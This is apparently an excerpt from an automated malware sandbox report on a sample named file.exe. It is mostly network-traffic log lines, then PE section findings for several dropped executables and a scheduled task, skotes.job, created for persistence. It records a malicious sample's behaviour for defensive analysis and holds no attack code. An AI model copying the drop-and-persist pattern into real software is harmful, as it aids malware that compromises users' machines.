Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 65496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 65497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 65448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 65447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 65498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 65475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 65471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65430
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65428
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65429
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65421
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65427
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65425
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65440
Source: unknown	Network traffic detected: HTTP traffic on port 65444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65441
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65439
Source: unknown	Network traffic detected: HTTP traffic on port 65455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65432
Source: unknown	Network traffic detected: HTTP traffic on port 65420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65438
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65436
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65451
Source: unknown	Network traffic detected: HTTP traffic on port 65443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65452
Source: unknown	Network traffic detected: HTTP traffic on port 65491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65445
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65442
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65443
Source: unknown	Network traffic detected: HTTP traffic on port 65479 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65449
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65447
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65461
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65455
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65453
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65454
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65459
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65457
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 65502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65506
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65509
Source: unknown	Network traffic detected: HTTP traffic on port 65480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65500
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65503
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 65465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 65431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.4:443 -> 192.168.2.7:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.4:443 -> 192.168.2.7:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:65453 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name:
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: 222aa393f7.exe.32.dr	Static PE information: section name:
Source: 222aa393f7.exe.32.dr	Static PE information: section name: .idata
Source: 222aa393f7.exe.32.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsDHJECFCGHI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0ECC0	0_2_6CE0ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6ECD0	0_2_6CE6ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1AC60	0_2_6CE1AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEAC30	0_2_6CEEAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED6C00	0_2_6CED6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF9CDC0	0_2_6CF9CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE14DB0	0_2_6CE14DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA6D90	0_2_6CEA6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDED70	0_2_6CEDED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF3AD50	0_2_6CF3AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF98D20	0_2_6CF98D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1AEC0	0_2_6CE1AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB0EC0	0_2_6CEB0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE96E90	0_2_6CE96E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAEE70	0_2_6CEAEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEF0E20	0_2_6CEF0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE10FE0	0_2_6CE10FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEEFF0	0_2_6CEEEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF58FB0	0_2_6CF58FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1EFB0	0_2_6CE1EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED2F70	0_2_6CED2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7EF40	0_2_6CE7EF40
